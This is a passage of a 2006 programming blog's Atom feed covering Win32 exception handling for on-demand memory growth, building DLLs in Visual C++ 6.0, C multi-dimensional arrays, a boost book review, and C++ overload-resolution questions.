/&gt;&lt;br /&gt;new_mem=VirtualAlloc(2*cur_size);&lt;br /&gt;copy_mem(cur_mem, new_mem, cur_size);&lt;br /&gt;&lt;br /&gt;VirtualFree(cur_mem);&lt;br /&gt;cur_mem = new_mem;&lt;br /&gt;&lt;br /&gt;return EXECUTION_CONTINUE;&lt;br /&gt;&lt;br /&gt;if anything is wrong, return EXECUTION_SEARCH;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;patcher(...){&lt;br /&gt;&lt;br /&gt;cur_mem = VirtualAlloc(initial_size);&lt;br /&gt;&lt;br /&gt;__try{&lt;br /&gt;read_data(FILE, cur_mem[counter]-&gt;data);&lt;br /&gt;counter++;&lt;br /&gt;}&lt;br /&gt;__except(except_handler(...)){&lt;br /&gt;do_something;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;Naturally this code doesn't work. What a surprise. Well then, let's try to debug the code and see what's wrong. Again, you are hitting your head against the wall, the MS studio 6.0 just hangs after the memory violation and wouldn't jump to the exception handler subroutine. Now you have two choice if you cannot debug in assembler code, 1) try to figure out what's wrong by playing with the code; 2) give up! Because if your debuger of choice cannot correctly follow the logic of execution (in the settings of exception handling where things only trully reveal at assembler level), there is not much chance you could make it work.&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;So now off we go to debug this code in SIce, VirtualAlloc seems to be a natural choice to set a breakpoint on. After much tracing, it's observed that the code failed because of this: a single line of c code is often compiled into 4-5 lines of machine code and the exception can only happen and resume at a single machine instruct line, NOT the c code line! To make it easier to debug this code, I rewrote the patcher subroutine to this&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;patcher(...){&lt;br /&gt;&lt;br /&gt;cur_mem = VirtualAlloc(initial_size);&lt;br /&gt;&lt;br /&gt;__try{&lt;br /&gt;read_data(FILE, tmp_data);&lt;br /&gt;cur_mem[counter]-&gt;data = tmp_data;&lt;br /&gt;counter++;&lt;br /&gt;}&lt;br /&gt;__except(except_handler(...)){&lt;br /&gt;do_something;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;since tmp_data is an automatic (on stack)  variable and is guranteed to be accessible, the exception now occurs not in the convoluted read_data subroutine be it win32 or libc. The exception now occurs at line:&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;cur_mem-&gt;data = tmp_data;&lt;br /&gt;&lt;br /&gt;which is translated to machine code like this:&lt;br /&gt;&lt;br /&gt;mov eax, [ebp-20] ; $tmp_data&lt;br /&gt;mov ecx, [0040xxxx] ; $cur_mem&lt;br /&gt;mov edx, [ebp-24] ; counter&lt;br /&gt;mov [ecx+edx], eax ; $cur_mem[counter]-&gt;data = $tmp_data&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;So in this hyperthetical case, the single c line code is translated into 4 machine instructions. And really the exception (memory access violation) occurs at the last line of the instruction,&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;mov [ecx+ebx], eax&lt;br /&gt;&lt;br /&gt;Now imagine for a second, why is this a problem?&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;The problem is that when the exception handler allocates the new space, new_mem is a pointer pointing to a different memory location, not what cur_mem is refering too. So in other words, even though we allocated new memory space and instructed the processor to try the last instruction that generated the exception, we are still doomed to fail because the instruction is hardcoded with the values it contains. The registers are not updaing their contents to reflect the fact that we are now moving to a new memory location completely. To be more specific, consider the following scenario,&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;mov eax, [ebp-20] ; $tmp_data       =0x00 00 00 05&lt;br /&gt;mov ecx, [0040xxxx] ; $cur_mem      =0x03 00 00 00&lt;br /&gt;mov edx, [ebp-24] ; counter         =0x00 00 10 00     4k page boundary&lt;br /&gt;mov [ecx+edx], eax ; $cur_mem[counter]-&gt;data = $tmp_data&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;ecx+edx = 0300 1000, since these general purpose registers will have their values restored when the interrupt handler returns from the fault handler (trap gate in LDT), mov [ecx+edx], eax will be trying to do the same memory access and generates a double fault. What we really wanted is in the c code cur_mem-&gt;data = tmp_data, the cur_mem is a new value now and we are accessing our shining new memory space. Now because of the fact that a single c code line is not an atomic execution (compiled into multiple machine instructions), our program cannot run properly and we have no way to control the register values in ecx and edx upon returning from the exception handler.&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;How do we remedy this problem? We must gurantee that upon returning from the exception handler, ecx+edx is pointing to a valid read/write memory space. It'd be handy if there was VirtualReAlloc, but there is no such a function documented in MSDN. Another approach would be to allocate some memory somewhere else to save the current memory, then free cur_mem and VirtualAlloc with fixed base memory address and double the cur_mem_size.&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;|-----------| &lt;- cur_mem |           | |           | &lt;- cur_mem-&gt;size&lt;br /&gt;|-----------|&lt;br /&gt;|                             |&lt;br /&gt;|                   |&lt;br /&gt;|-----------| &lt;- tmp_mem |                             | |                             | |-----------| &lt;/p&gt;&lt;div style="text-align: justify;"&gt;In order to be able to allocate double*$cur_mem-&gt;size, you have to make sure the temporary memory space start from at least $cur_mem+double*$cur_mem-&gt;size as shown in the graphy. A box indicates cur_mem-&gt;size amount of memory. If you fail to satisfy the above condition, you will not be able to VirtualAlloc at fixed $cur_mem address with double its current size. This approach is definitely doble but the master Jedi programmer will no doubt frown on its design and efficiency. The exception handler is simply too expensive and is against its design principle to be efficient and decisive.&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;What about this? We simply VirtualFree(cur_mem) and then VirtualAlloc($cur_mem, 2*cur_size)? This reduces the overhead of allocating new memory space, transfering data and yet gurantees the fixed memory address allocation. This solution may sound on paper, however it's almost guranteed to fail because of win32 memory management mechanism. First of all, VirtualFree and VirtualAlloc will fill the new allocated memory with 0; even if we disallow them to zero the pages, we cannot garantee that we will be dealing with the same physical page again upon task switch/kernel call gate control transfers. We may not look at the same physical page and even we are lucky to regain the same physical page, its contents may have been overwritten by another task or the kernel. So this approach will simply not work.&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;The next idea we could come up with is to allocate a new memory block that concatenates directly after the current memory block that is shown if the following graph. The idea is to allocate a new block of memory at the fixed address where the last fault occured. This idea seems rather plausible, the only drawback would be the hassle to clean this up. We have to VirtualFree every memory block that we allocate inside the exception handler. But still it sounds like a reasonble solution until we put this into implementation, VirtualAlloc would not return a useful memory address with the fixed bad address where the exception occured.&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;|-----------| &lt;- cur_mem |           | |           | &lt;- cur_mem-&gt;size&lt;br /&gt;|-----------| &lt;- concat_mem |                             | |                             | |-----------| &lt;/p&gt;&lt;p style="text-align: justify;"&gt;Ok, finally something that really works. The idea is to initially reserve a large chunk of memory and commit the memory upon demand. But this idea is really a static memory approach and would not really meet our requirement. Now imagine for a second how would you solve this problem?    &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114780576863438429?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780576863438429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780576863438429'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/win32-seh-and-memory-management.html' title='WIN32 SEH and Memory Management considered harmful (Part 1)'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114780365531617233</id><published>2006-05-16T13:17:00.000-05:00</published><updated>2006-05-16T13:20:55.320-05:00</updated><title type='text'>Build DLL (dynamic linked library) with microsoft visual studio</title><content type='html'>&lt;div style="text-align: justify;"&gt;This article explains how to work with the default microsoft VC 6.0 IDE to compile DLL output from a given c code. It also shows how to use this dll within another given c code.&lt;br /&gt;&lt;br /&gt;Let's say you have 3 files, a_main.c, a_dll.c, and a_comm.h. Both .c files use the .h header files. Let's first generate a_dll.dll from a_dll.c. Double click a_dll.c in windows should automatically open a_dll.c within the VC IDE. If this is not the case, you need to associate .c files with VC ide. Next try to compile a_dll.c, at this point, VC will create a workspace template file for you. Now this is the point where you need to make changes to the default workspace/project settings so that instead of linking and producing a EXE file, a DLL file is generated. First set active configuration to win32 release, then open project/settings diaglog. Click on c/c++, this is the compilation settings. You need to put the following defines in the "preprocessor definitions" textfield, _USRDLL and A_DLL_EXPORTS. _USRDLL tells the compiler-preprocessor that this file is intended to be compiled into a DLL file. A_DLL_EXPORTS tells the compiler that this file as DLL exports symbols. A_DLL_EXPORTS is a instantiate of FILENAME_EXPORTS, because we are working with a_dll.c here, we replace FILENAME with A_DLL. If the file was named b_dll.c, we'd have used B_DLL_EXPORTS.&lt;br /&gt;&lt;br /&gt;There is another flag _WINDOWS that needs to be added depending on the nature of the DLL. If the DLL has any USR32.DLL imports, working with GUI components, then we must replace the default _CONSOLE flag to _WINDOWS. The VC default project template settings assumes a win32 console application is being compiled. So use either _WINDOWS or _CONSOLE depending on what kind of DLL you are working with. Save your settings change by click on "Ok" button. At this point, a_dll.c should be compiled and seen to produce a_dll.obj without any problem.&lt;br /&gt;&lt;br /&gt;Next we must modify the settings that used during VC linking process. The object code is linked with other libraries to produce either a EXE file or a DLL file. The default template project settings will link to a win32 console EXE file. Open the project/settings dialog again in VC and choose the "link" tab. In "Output filename" text field, change a_dll.exe to a_dll.dll. This change tells the linker we desire a dll output from the source code a_dll.c. If you didn't change this and go ahead compiling/linking your code, VC will complain it cannot find "main" or "winmain" function because as a dll source code, a_dll.c contains the dllmain entry instead of main for a console app or winmain for a windows app. In the "Project Options" textarea, get to the end of the option string and add "/dll", this again tells the linker to produce a dll output instead of a exe output.&lt;br /&gt;&lt;br /&gt;The last step again depends on what kind of dll it is, console or windows. You don't have to do anything else if it's a console dll because the default setting assumes it's creating a console dll. Otherwise in "Project Options", find "/subsystem:console" and replace it with "/subsystem:windows". Click "Ok" to save the changes and in "Build" menu, you should see the target output has changed from a_dll.exe to a_dll.dll. You should be able to create the desired a_dll.dll now.&lt;br /&gt;&lt;br /&gt;Granted, this seems to be a lot of hassle to get VC to generate DLL output from a source code file. This would have been very easy if we could have started from the project wizard and was using a win32 dll template from day 1. But occasionally one cannot always expect a project build configuration is available with a downloaded or copied source code and we have to build a dll file using what we have at hand. The trick I explained above demonstrates the step by step changes to the default project settings to genreate a dll file.&lt;br /&gt;&lt;br /&gt;Now onto the next step building a.exe using the newly generated a_dll.dll. Again load a.c into VC and let VC generate a default project template file to work with. If you would try to build a.exe now, VC would complain missing functions in a_dll.c during link. To fix this, open Project/Settings, and go to link tab. In Object/library modules text, go to the end of the list and type in PATH_TO_A_DLL_LIB\a_dll.lib. Here PATH_TO_A_DLL_LIB is the path to a_dll.lib file. For example, if you have organized your files in c:\myfiles. PATH_TO_A_DLL_LIB would be Release or Debug depending on what build configuration was used when a_dll.dll was built. This is the only change you need to make to link a.obj with a_dll.lib to generate the final product: a.exe.&lt;br /&gt;&lt;br /&gt;It's interesting to note that the compiler actually links a.obj with a_dll.lib instead of a_dll.dll to build a.exe. a_dll.dll is only used when a.exe is running in the system, as it's name implied dynamic link library. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114780365531617233?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780365531617233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780365531617233'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/build-dll-dynamic-linked-library-with.html' title='Build DLL (dynamic linked library) with microsoft visual studio'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114780334256821157</id><published>2006-05-16T12:53:00.000-05:00</published><updated>2006-05-16T13:15:42.683-05:00</updated><title type='text'>Memory as a programming concept in C and C++, multi-dimensional arrays</title><content type='html'>&lt;div style="text-align: justify;"&gt;C and C++ catogerize multi-dimensional arrays into two distinctively different kinds, static and dynamic.&lt;br /&gt;&lt;br /&gt;Static multi-dimensional arrays are declared and defined at compile time. They are internally represented as one dimensional array and accessed through index arithmatic (addition and multiplication). For example, x[i][j] (whose size is nrow * ncol) is accessed by *(x + i*ncol + j) . Because they are represented in such a manner, they must be passed to functions with explicit array bounds information (except that the first dimension bound nrow can be omitted, x[3][4] can be passed as x[3][4] or x[][4]). Due to the same reason, static multi-dimensional arrays are passed by reference, namely the pointer value that points to the storage. C and C++ don't pass multi-dimensional arrays as values as that would require a tremendous amount of overhead involving momory copy, passing additional array structure information onto the stack call frame, even though the function declaration with static multi-dimensional array resembles pass-by-value semantics. The next example demonstrates the sutleties of C and C++ static multi-dimensional arrays:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int a[3][4] = {0, 3, 4, 2,  1, 5, 6, 9,  8, 3, 2, 5};&lt;br /&gt;&lt;br /&gt;void adjust(int x[][4]){&lt;br /&gt;&lt;br /&gt;  x[0][3] = 80;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;&lt;br /&gt;  printf("a[0][3] = %d\n", a[0][3]);&lt;br /&gt;  adjust(a);&lt;br /&gt;  printf("a[0][3] = %d\n", a[0][3]);&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Dynamic multi-dimensional arrays are declared using pointer sematic and defined at run time, thus 'dynamic'. They are internally repesented as dynamic 1D arrays whose elements are pointers that point to sub-level dynamic 1D arrays. They are accessed by dereferencing pointer values. For example, int ** x is a pointer to 2 dimensional dynamic array; at run time, it's defined to point to an array of shape x[3][4],&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;x = malloc(3*sizeof(int *));&lt;br /&gt;for(int i = 0; i &lt; 3; i ++)&lt;br /&gt;   x[i] = malloc(4*sizeof(int));&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;It's important to distinguish between static and dynamic multi-dimensional arrays in C and C++ because even they are both multi-dimensional arrays, their definition, representation and access methods are so vastly different, they can be confusing even among the most seasoned developers.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114780334256821157?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780334256821157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780334256821157'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/memory-as-programming-concept-in-c-and.html' title='Memory as a programming concept in C and C++, multi-dimensional arrays'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114773687531942662</id><published>2006-05-15T18:37:00.000-05:00</published><updated>2006-05-15T18:47:55.320-05:00</updated><title type='text'>Beyond the C++ standard library, an introduction to boost</title><content type='html'>&lt;div style="text-align: justify;"&gt;I recently finished reading through this book. Very good introduction materials of boost libraries to us mortals. The covered libraries include utility classes such as shared_ptr, scoped_ptr, intrusive_ptr, weak_ptr, operators, noncopyable, regex etc; container classes such as any, variant, tuple; functional classes such as bind, lambda, functional, signal. These are the MVP classes that can make c++ programmers' lives much easier. The lambda libraries are especially impressive when binding functors with standard algorithm.&lt;br /&gt;&lt;br /&gt;Boost (www.boost.org) development is very active. Check them out.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114773687531942662?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114773687531942662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114773687531942662'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/beyond-c-standard-library-introduction.html' title='Beyond the C++ standard library, an introduction to boost'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114711592370188555</id><published>2006-05-08T14:17:00.000-05:00</published><updated>2006-05-15T18:36:52.840-05:00</updated><title type='text'>Default arguments do not participate in overload resolution</title><content type='html'>Consider the following code:&lt;br /&gt;&lt;p&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;// (1)&lt;br /&gt;template &lt;typename&gt;&lt;br /&gt;void f(T const&amp; x) {}&lt;br /&gt;&lt;/typename&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;// (2)&lt;br /&gt;template &lt;typename&gt;&lt;br /&gt;void f(T const&amp;amp; x, typename T::some_type* = 0) {}&lt;br /&gt;&lt;/typename&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;struct X { typedef int some_type; } x;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;int main()&lt;br /&gt;{&lt;br /&gt;   f(x);//Comeau choose #2. Does it conform to the Standard?&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="text-align: justify;"&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;First, the compiler builds a viable function set. This is where SFINAE takes place and a function is either added or excluded from the set. According to 13.3.2/2&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;&lt;quote&gt;A candidate function having more than m parameters is viable only if the (m+1)-st parameter has a default argument (8.3.6).121) For the &lt;/quote&gt;&lt;/span&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;&lt;quote&gt;purposes of overload resolution, the parameter list is truncated on the &lt;/quote&gt;&lt;/span&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;&lt;quote&gt;right, so that there are exactly m parameters.&lt;/quote&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;&lt;quote&gt;&lt;/quote&gt;&lt;/span&gt;&lt;/div&gt;&lt;p style="text-align: justify;"&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;So, the viable set in this case contains functions with the default argument truncated.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;Second,  the compiler does partial template ordering and the actual &lt;/span&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;overload resolution. Since the default argument for function 2 has been &lt;/span&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;truncated, the viable function set here contains 2 identical functions &lt;/span&gt;&lt;span class="fixed_width"  style="font-family:Courier,Monospaced;"&gt;which results in the ambiguity. &lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114711592370188555?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114711592370188555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114711592370188555'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/default-arguments-do-not-participate.html' title='Default arguments do not participate in overload resolution'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114710319078869839</id><published>2006-05-08T10:40:00.000-05:00</published><updated>2006-05-15T18:35:33.830-05:00</updated><title type='text'>Overload resolution doesn't choose between names from different scopes.</title><content type='html'>Take this code example :&lt;br /&gt;&lt;br /&gt;template &lt;typename&gt;&lt;br /&gt;class Base&lt;br /&gt;{&lt;br /&gt;protected:&lt;br /&gt;Notify(T&amp; msg);&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;struct msgA {};&lt;br /&gt;struct msgB {};&lt;br /&gt;&lt;br /&gt;class Impl : public Base&lt;msga&gt;, public Base&lt;msgb&gt;&lt;br /&gt;{&lt;br /&gt;void Do()&lt;br /&gt;{&lt;br /&gt;msgA a;&lt;br /&gt;Notify(a); // &lt;----- AMBIGUOUS call   }  } ;  When compiled with Comeau online compiler, yeilds the following error: &lt;/msgb&gt;&lt;/msga&gt;&lt;/typename&gt;&lt;pre&gt;Comeau C/C++ 4.3.3 (Aug  6 2003 15:13:37) for ONLINE_EVALUATION_BETA1&lt;br /&gt;Copyright 1988-2003 Comeau Computing.  All rights reserved.&lt;br /&gt;MODE:strict errors C++&lt;br /&gt;&lt;br /&gt;"ComeauTest.c", line 5: error: omission of explicit type is nonstandard ("int"&lt;br /&gt;     assumed)&lt;br /&gt;Notify(T&amp; msg);&lt;br /&gt;^&lt;br /&gt;&lt;br /&gt;"ComeauTest.c", line 17: error: "Base&lt;t&gt;::Notify [with T=msgA]" is ambiguous&lt;br /&gt; Notify(a); // &lt;----- AMBIGUOUS call      ^  2 errors detected in the compilation of "ComeauTest.c".&lt;/t&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;This error is a result of disambiguity rule that C++ compiler employs when resolve overloaded names from different scopes. Although both names are visible at the point of the  statement, the rule says overload resolution cannot choose between names from different scopes. Thus the compile error. A simple solution is to pull in names from both scopes into class Impl by using declarations.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;With very few exceptions, name lookup must resolve to a set of names in a single scope.  The major exception is when ADL is involved, but ADL only applies to namespaces which are searched, not base classes.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114710319078869839?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114710319078869839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114710319078869839'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/overload-resolution-doesnt-choose.html' title='Overload resolution doesn&apos;t choose between names from different scopes.'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
